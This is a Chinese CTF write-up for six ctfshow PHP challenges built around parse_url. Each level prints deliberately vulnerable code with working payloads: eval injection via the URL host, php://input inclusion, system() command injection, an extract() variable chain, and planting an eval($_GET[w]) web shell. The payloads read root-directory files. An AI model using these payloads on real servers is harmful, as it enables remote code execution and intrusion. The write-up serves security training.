ctfshow周末大挑战2023/5/12

news2024/11/27 21:01:59

本周周末大挑战用到的函数讲解

parse_url()

作用:解析URL,返回其组成部分

语法:
parse_url ( string $url [, int $component = -1 ] )
参数:
url:要解析的 URL。无效字符将使用 _ 来替换。

component:
指定 PHP_URL_SCHEME、 PHP_URL_HOST、 PHP_URL_PORT、 PHP_URL_USER、 PHP_URL_PASS、 PHP_URL_PATH、PHP_URL_QUERY 或 PHP_URL_FRAGMENT 的其中一个来获取 URL 中指定的部分的 string。 (除了指定为PHP_URL_PORT 后,将返回一个 integer 的值)。

例如:

<?php
$url = 'http://user:pass@host/path?args=value#anch';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>
结果--------------------------------------------------------------------
Array
(
    [scheme] => http
    [host] => host
    [user] => user
    [pass] => pass
    [path] => /path
    [query] => args=value
    [fragment] => anch
)
	/path

extract()

extract() 函数从数组中将变量导入到当前的符号表。

该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

该函数返回成功设置的变量数目。

语法:extract(array,extract_rules,prefix)

例如:

<?php
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>
结果-------------------------------------------------------------------
$a = Cat; $b = Dog; $c = Horse

file_put_contents()

file_put_contents() 函数把一个字符串写入文件中。与依次调用 fopen(),fwrite() 以及 fclose() 功能一样。

语法:file_put_contents(file,data,mode,context)
参数:
file:必需。规定要写入数据的文件。如果文件不存在,则创建一个新文件。

data:可选。规定要写入文件的数据。可以是字符串、数组或数据流。

mode:可选。规定如何打开/写入文件。可能的值:
FILE_USE_INCLUDE_PATH
FILE_APPEND
LOCK_EX

context:可选。规定文件句柄的环境。context是一套可以修改流的行为的选项。若使用null,则忽略。

题目讲解及write up

第一关

题目源代码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-05-10 09:52:06
# @Last Modified by:   h1xa
# @Last Modified time: 2023-05-10 10:58:34
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

$data = parse_url($_GET['u']);

eval($data['host']);

首先,我们分许源代码:GET传参u为url格式的字符串,该url的组成部分被赋给了data数组,然后将data数组中的host的值将他转化为php代码(eval()的作用,可以将字符串转换为php代码)。

OK我们的思路就是在url中host部分写成我们可以进行代码执行的恶意代码。
我们先写一个phpinfo();测试一下。

?u=http://phpinfo();

在这里插入图片描述
成功输出phpinfo。

接下来我们就开始进行代码执行。
我们会发现,我们直接使用system(‘ls /’);来查看根目录是不可行的,因为url中包含的有“/”这个斜杠符号,我们前面已经写过host内容,我们在写出“/”,那么斜杠后的“');”这些东西就会被认为是url 中 path 里的东西了,所以我们得换种思路。

新思路是:我们在源代码的基础上,再使用一次eval()函数进行代码执行,只不过这次我们将传参方式改为POST传参,因为parse_url函数只对GET传参起作用。

GET传参
?u=http://eval($_POST[w]);

POST传参
w=system('ls /');

在这里插入图片描述
找到flag直接cat读取。

GET传参
?u=http://eval($_POST[w]);

POST传参
w=system('cat /flag_is_here.txt');

在这里插入图片描述
成功拿到flag。

第二关

题目源代码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-05-10 09:52:06
# @Last Modified by:   h1xa
# @Last Modified time: 2023-05-12 13:25:53
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

$data = parse_url($_GET['u']);

include $data['host'].$data['path'];

首先还是分析源代码:GET传参u为url格式的字符串,该url的组成部分被赋给了data数组,使用include函数将data数组中host的值与path的值拼接的结果进行文件包含。

首先我们要明白一点,文件包含,我们就得使用伪协议进行命令执行或者代码执行来找到flag文件在哪,然后才能读取。但是如果我们按照正常的url格式进行传参的话,就比如u=http://host/flag,那么我们的path是一定会带有“/”这个符号的。所以我们就得使用非正常方法。

这里有一个小tips:就是当我们输入?u=http:php://这个字符串的时候,
我们的path是“php://”这个字符串的,而且host是为空的。

所以我们就可以使用php://伪协议中的php://input来实现代码执行,进而执行命令。(由于我的hackbar的问题,我是在bp上进行的)

GET传参
?u=http:php://input

POST传参
<?php phpinfo();?>

在这里插入图片描述
可以看到成功的输出了phpinfo的内容。

接下来就是看在根目录中找到flag文件进行读取。

GET传参
?u=http:php://input

POST传参
<?php system('cat /_f1ag_1s_h3re.txt');?>

在这里插入图片描述
成功拿到flag。

第三关

题目源代码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-05-10 09:52:06
# @Last Modified by:   h1xa
# @Last Modified time: 2023-05-12 13:29:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

$data = parse_url($_GET['u']);

include $data['scheme'].$data['path'];

首先还是分析源代码:GET传参u为url格式的字符串,该url的组成部分被赋给了data数组,使用include函数将data数组中scheme(协议名称)的值与path的值拼接的结果进行文件包含

本道题目跟上道题目的思路是一样的,还是利用php://伪协议进行文件包含,只不过host变成了scheme(协议名称)。

这里还是一个小tips:就是当我们输入?u=http:://123这个字符串的时候,
我们的path是“://123”这个字符串的,scheme是“http”,
他们俩拼接在一起就是“http://123”。
我们要使用php://input伪协议,只需将http改为php,将://123改为://input即可。
GET传参
?u==php:://input

POST传参
<?php phpinfo();?>

在这里插入图片描述
也是成功的输出了phpinfo的信息。

接下来就是在根目录找到flag进行读取了。

GET传参
?u==php:://input

POST传参
<?php system('cat /_f1a_g_1s_h3re');?>

在这里插入图片描述
成功拿到flag。

第四关

题目源代码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-05-10 09:52:06
# @Last Modified by:   h1xa
# @Last Modified time: 2023-05-12 13:29:35
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

$data = parse_url($_GET['u']);

system($data['host']);

首先我们还是先来分析一波代码,GET传参u为url格式的字符串,该url的组成部分被赋给了data数组,然后使用system()函数将data数组中host的值作为命令进行命令执行。

这里需要注意的是,我们不能直接使用“u=http://ls /”来作为payload,因为ls / 中的斜杠,会被parse_url函数当作path中的内容,这样我们还是在原来的目录中进行ls。

这时我们应该怎么办呢?
我们可以尝试先执行一个pwd,然后再重新执行cd …;pwd 试一下。

?u=http://pwd;cd ..;pwd

在这里插入图片描述
我们可以看到,我们使用cd切换目录之后,两次的pwd执行结果不同,代表我们切换目录成功,那么我们就可以使用cd …;cd …;cd …;一直切换到根目录,然后进行找寻flag进行读取了。

?u=http://cd ..;cd ..;cd ..;cat 1_f1ag_1s_h3re

在这里插入图片描述
成功拿到flag。

第五关

题目源代码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-05-10 09:52:06
# @Last Modified by:   h1xa
# @Last Modified time: 2023-05-12 13:29:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

extract(parse_url($_GET['u']));
include $$$$$$host;

本题目是个套娃问题,就是使用extract函数将GET传参url中的组成,host变为$host,其值为url中host的值,path、scheme、query等部分也是一样。

这时我们就可以通过参数指向(比如,再将host的值写为scheme,那么$host=scheme,$$host=$scheme=scheme的值),来最终包含我们的php://input伪协议进行文件包含。

payload:

GET传参
?u=user://pass:fragment@scheme/?php://input%23query
注:%23#的url编码,如果不写%23直接写#,#后的内容会被浏览器直接过滤掉。

POST传参
<?php phpinfo();?>

这样的话:
$host=scheme
$$host=$scheme=user
$$$host=$user=pass
$$$$host=$pass=fragment
$$$$$host=$fragment=query
$$$$$$host=$query=php://input

这样我们在进行post传参执行php代码,就可以使用php://input进行文件包含执行php代码了。

在这里插入图片描述
成功输出了phpinfo的信息,接下来就是在根目录中找flag文件进行读取。

payload:

GET传参
?u=user://pass:fragment@scheme/?php://input%23query
注:%23#的url编码,如果不写%23直接写#,#后的内容会被浏览器直接过滤掉。

POST传参
<?php system('cat /_f1ag_1s_h3ree');?>

在这里插入图片描述
成功拿到flag。

第六关

题目源代码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-05-10 09:52:06
# @Last Modified by:   h1xa
# @Last Modified time: 2023-05-12 13:29:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

$data = parse_url($_GET['u']);

file_put_contents($data['path'], $data['host']);

首先还是分析源代码,GET传参u为url格式的字符串,该url的组成部分被赋给了data数组,然后使用file_put_contents()函数来将data数组中host的值作为内容写进data数组中path的值为文件名的文件中。

这里经过测试发现,host中?与php不能和<>紧挨着出现,那么传统的php文件内容形式是采取不了了。

我们就是用html文件中的< script language=‘php’>标签来实现php的代码。这里记住,只需写一个< script>,不需要写< /scirpt>,因为/还会被parse_url函数当作path中的内容。
由于正常的url中,path自带 / ,我们将path写成/var/www/html/a.php,这样我们的host中的内容就会被写到网站根目录中a.php中。

payload:

?u=http://<script language='php'>phpinfo();/var/www/html/a.php

$data['host']=<script language='php'>phpinfo();
$data['path']=/var/www/html/a.php

我们去访问a.php。
在这里插入图片描述
a.php显示出来phpinfo的信息,接下来我们将内容改为能够代码执行的php代码即可。

?u=http://<script language='php'>eval($_GET[w]);/var/www/html/a.php

然后去访问a.php。并且传参w=system(‘ls /’);即可列出根目录的内容。

a.php?w=system('ls /');

在这里插入图片描述
读取flag。

a.php?w=system('cat /_f1a_g_1s_h3re');

在这里插入图片描述
成功拿到flag。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/524683.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Sentinel———隔离和降级

FeignClient整合Sentinel SpringCloud中&#xff0c;微服务调用都是通过Feign来实现的&#xff0c;因此做客户端保护必须整合Feign和Sentinel。 第一步 修改OrderService的application.yml文件&#xff0c;开启Feign的Sentinel功能&#xff08;消费者服务&#xff09; feig…

算法基础第二章

算法基础第二章 第二章&#xff1a;数据结构1、链表1.1、单链表&#xff08;写邻接表&#xff1a;存储图和树&#xff09;1.2、双链表(优化某些问题) 2、栈与队列2.1、栈2.1.1、数组模拟栈2.1.2、单调栈 2.2、队列2.2.1、数组模拟队列2.2.2、滑动窗口&#xff08;单调队列的使用…

操作系统实验二 进程(线程)同步

前言 实验二相比实验一难度有所提升&#xff0c;首先得先掌握好相应的理论知识&#xff08;读者-写者问题和消费者-生产者问题&#xff09;&#xff0c;才能在实验中得心应手。任务二的代码编写可以借鉴源码&#xff0c;所以我们要先读懂源码。 1.实验目的 掌握Linux环境下&a…

linux系统状态检测命令

1、ifconfig命令 用于获取网卡配置于状态状态的等信息&#xff1a; ens33:网卡名称 inet:ip地址 ether:网卡物理地址&#xff08;mac地址&#xff09; RX、TX:接收数据包与发送数据包的个数及累计流量 我们也可以直接通过网卡名称查对应信息&#xff1a; 2、查看系统版本的…

设计模式 - 工厂 Factory Method Pattern

文章参考来源 一、概念 创建简单的对象直接 new 一个就完事&#xff0c;但对于创建时需要各种配置的复杂对象例如手机&#xff0c;没有工厂的情况下&#xff0c;用户需要自己处理屏幕、摄像头、处理器等配置&#xff0c;这样用户和手机就耦合在一起了。 可以使代码结构清晰&a…

【人工智能】— 贝叶斯网络

【人工智能】— 贝叶斯网络 频率学派 vs. 贝叶斯学派贝叶斯学派Probability&#xff08;概率&#xff09;:独立性/条件独立性&#xff1a;Probability Theory&#xff08;概率论&#xff09;:Graphical models &#xff08;概率图模型&#xff09;什么是图模型&#xff08;Grap…

【每日一题/哈希表运用题】1054. 距离相等的条形码

⭐️前面的话⭐️ 本篇文章介绍【距离相等的条形码】题解&#xff0c;题目标签【哈希表】&#xff0c; 【贪心】&#xff0c;【优先级队列】&#xff0c;展示语言c/java。 &#x1f4d2;博客主页&#xff1a;未见花闻的博客主页 &#x1f389;欢迎关注&#x1f50e;点赞&#…

【计算机网络复习】第四章 网络层 2

源主机网络层的主要工作 路由器网络层的主要工作 目的主机网络层的主要工作 网络层提供的服务 o 屏蔽底层网络的差异&#xff0c;向传输层提供一致的服务 虚电路网络 o 虚电路网络提供面向连接的服务 n 借鉴了电路交换的优点 n 发送数据之前&#xff0c;源主机和目的主机…

MTK耳机识别

MTK耳机检测分为Eint only和EintAccdet 其中主流的是Eint Accdet(multi-key)。 图为MTK 耳机相关电路图的主要部分。 其中&#xff0c;左右声道的33pF主要滤除TDD干扰。串的10R100nf下地电容为低通滤波器。磁珠主要影响的是Fm以及音频THD性能。 Eint&#xff1a;检测耳机是否…

网络基础知识(3)——初识TCP/IP

首先给大家说明的是&#xff0c;TCP/IP 协议它其实是一个协议族&#xff0c;包含了众多的协议&#xff0c;譬如应用层协议 HTTP、 FTP、MQTT…以及传输层协议 TCP、UDP 等这些都属于 TCP/IP 协议。 所以&#xff0c;我们一般说 TCP/IP 协议&#xff0c;它不是指某一个具体的网络…

Casdoor 开始

Casdoor 是一个基于 OAuth 2.0 / OIDC 的中心化的单点登录&#xff08;SSO&#xff09;身份验证平台&#xff0c;简单来说&#xff0c;就是 Casdoor 可以帮你解决用户管理的难题&#xff0c;你无需开发用户登录、注册等与用户鉴权相关的一系列功能&#xff0c;只需几个步骤进行…

C++多线程中共享变量同步问题

目录 1、互斥量 &#xff08;1&#xff09;std::mutex &#xff08;2&#xff09;std::recursive_mutex &#xff08;3&#xff09;std::timed_mutex 2、锁管理器 &#xff08;1&#xff09;std::lock_guardlk &#xff08;2&#xff09;std::unique_locklk &#xff0…

掌控MySQL并发:深度解析锁机制与并发控制

前一篇MySQL读取的记录和我想象的不一致——事物隔离级别和MVCC 讲了事务在并发执行时可能引发的一致性问题的各种现象。一般分为下面3种情况&#xff1a; 读 - 读情况&#xff1a;并发事务相继读取相同的记录。读取操作本身不会对记录有任何影响&#xff0c;不会引起什么问题&…

【C++】C++中的多态

目录 一.多态的概念二.多态的定义及实现2.1虚函数2.2虚函数的重写虚函数重写的两个例外 2.3多态的构成条件2.4C11 override 和final2.5重载、重写、隐藏的对比 三.抽象类3.1概念3.2接口继承和实现继承 四.多态的原理4.1虚函数表4.2多态的原理(1)代码分析(2)清理解决方案 4.3动态…

MySQL高阶语句与连接

目录 高级查询selectDISTINCTWHEREAND ORINBETWEEN通配符与likeORDER BY数学函数聚合函数字符串函数mysql进阶查询GROUP BYHAVING别名子查询EXISTS连接查询inner join(内连接)left join(左连接)right join(右连接)自我连接 高级查询 实验准备&#xff1a; 第一张表&#xff1a…

Cesium入门之六:Cesium加载影像图层(ArcGIS、Bing、Mapbox、高德地图、腾讯地图、天地图等各类影像图)

Cesium加载影像图层 一、ImageryLayer类常用属性常用方法 二、ImageryLayerCollection类常用属性常用方法 三、ImageryProvider类常用属性常用方法 四、ImageryProvider子类1. ArcGisMapServerImageryProvider加载ArcGIS地图服务 2. BingMapsImageryProvider加载BingMap地图服务…

call to non-‘constexpr‘ function

文章目录 call to non-constexpr function概述备注END call to non-‘constexpr’ function 概述 在尝试迁移 openpnp - Smoothieware project 从gcc命令行 MRI调试方式 到NXP MCUXpresso工程. 在加了头文件路径后, 还有一些语法错误. 这和编译器语法有关系. 在运行BuildShe…

阿里云服务器部署flask项目「gunicorn + nginx + 支持https」

最近做了一个微信小程序&#xff0c;使用 flask 实现了对应的后台&#xff0c;上线需要部署到服务器上&#xff0c;之前只是了解并没有全链路试过&#xff0c;靠着网上的资料最终完成部署上线&#xff0c;但中间遇到了较多的一些问题&#xff0c;网上的资料也比较零碎&#xff…

WPF MaterialDesign 初学项目实战(2)首页导航栏样式

其他内容 WPF MaterialDesign 初学项目实战&#xff08;0&#xff09;:github 项目Demo运行 WPF MaterialDesign 初学项目实战&#xff08;1&#xff09;首页搭建 MaterialDesign 确保运行了初学项目实战&#xff08;0&#xff09; MaterialDesign给我们提供了很多的样式库&…

微服务框架【笔记-Nacos环境隔离】

Nacos注册中心 环境隔离 - namespace Nacos 中服务存储和数据存储的最外层都是一个名为namespace的东西&#xff0c;用来做最外层隔离 Nacos默认的命名空间&#xff1a; 创建命名空间复制命名空间ID启动Orderservice服务&#xff0c;在nacos服务列表可以看到环境隔离之后的服…